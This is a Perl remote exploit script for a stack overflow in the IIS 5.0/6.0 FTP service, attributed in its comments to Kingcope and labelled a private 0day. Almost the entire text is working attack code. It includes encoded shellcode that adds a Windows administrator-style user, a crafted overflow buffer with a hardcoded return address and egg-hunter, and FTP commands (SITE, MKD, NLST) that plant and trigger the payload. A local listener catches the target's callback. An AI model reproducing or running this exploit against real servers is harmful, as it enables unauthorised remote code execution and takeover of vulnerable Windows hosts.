Microsoft Internet Information Server 5.0/6.0 FTP Server Remote Stack Based Overrun

```
# IIS 5.0 FTPd / Remote r00t exploit
# Win2k SP4 targets
# bug found & exploited by Kingcope, kcope2<at>googlemail.com
# Affects IIS6 with stack cookie protection
# August 2009 - KEEP THIS 0DAY PRIV8
use IO::Socket;

$|=1;
#metasploit shellcode, adduser "winown:nwoniw"
$sc = "\x89\xe2\xda\xde\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x43\x30\x43\x30" .
"\x43\x30\x4c\x4b\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55" .
"\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48\x4c\x4b" .
"\x51\x4f\x51\x30\x43\x31\x4a\x4b\x47\x39\x4c\x4b\x47\x44" .
"\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c" .
"\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51\x49\x5a\x44\x4d" .
"\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44\x46\x44" .
"\x43\x34\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x51\x34\x43\x31" .
"\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51" .
"\x4a\x4b\x4b\x39\x51\x4c\x46\x44\x44\x44\x48\x43\x51\x4f" .
"\x46\x51\x4c\x36\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x42\x48\x45\x58\x4d\x59\x4a\x58\x4c\x43" .
"\x49\x50\x43\x5a\x46\x30\x43\x58\x4c\x30\x4c\x4a\x44\x44" .
```

```
"\x51\x4f\x43\x58\x4a\x38\x4b\x4e\x4d\x5a\x44\x4e\x50\x57" .
"\x4b\x4f\x4a\x47\x42\x43\x42\x4d\x45\x34\x46\x4e\x42\x45" .
"\x44\x38\x43\x55\x47\x50\x46\x4f\x45\x33\x47\x50\x42\x4e" .
"\x42\x45\x43\x44\x51\x30\x44\x35\x44\x33\x45\x35\x44\x32" .
"\x51\x30\x43\x47\x43\x59\x42\x4e\x42\x4f\x43\x47\x42\x4e" .
"\x51\x30\x42\x4e\x44\x37\x42\x4f\x42\x4e\x45\x39\x43\x47" .
"\x47\x50\x46\x4f\x51\x51\x50\x44\x47\x34\x51\x30\x46\x46" .
"\x51\x36\x51\x30\x42\x4e\x42\x45\x44\x34\x51\x30\x42\x4c" .
"\x42\x4f\x43\x53\x45\x31\x42\x4c\x42\x47\x43\x42\x42\x4f" .
"\x43\x45\x42\x50\x47\x50\x47\x31\x42\x44\x42\x4d\x45\x39" .
"\x42\x4e\x42\x49\x42\x53\x43\x44\x43\x42\x45\x31\x44\x34" .
"\x42\x4f\x43\x42\x43\x43\x47\x50\x42\x57\x45\x39\x42\x4e" .
"\x42\x4f\x42\x57\x42\x4e\x47\x50\x46\x4f\x47\x31\x51\x54" .
"\x51\x54\x43\x30\x41\x41";
#1ca
print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";
if ($#ARGV ne 1) {
      print "usage: iiz5.pl <target> <your local ip>\n";
      exit(0);
}

srand(time());
$port = int(rand(31337-1022)) + 1025;
$locip = $ARGV[1];
$locip =~ s/\./,/gi;

if (fork()) {
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                              PeerPort => '21',
                              Proto    => 'tcp');
$patch = "\x7E\xF1\xFA\x7F";
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms
$v = "KSEXY" . $sc . "V" x (500-length($sc)-5);

# top address of stack frame where shellcode resides, is hardcoded inside this
block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53"
         ."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";

# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch.
                     ($patch x (52/4)) .$patch."EEEE$retaddr".$patch.
                     "HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process (stack)
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
```

```
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," . int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
$x = <$sock>;
print $x;
while (1) {}
} else {
my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => $port,
Proto => 'tcp', Listen => 1);
die "Could not create socket: $!\n" unless $servsock;
my $new_sock = $servsock->accept();
while(<$new_sock>) {
      print $_;
}
close($servsock);
}

#Cheerio,
#
#Kingcope
```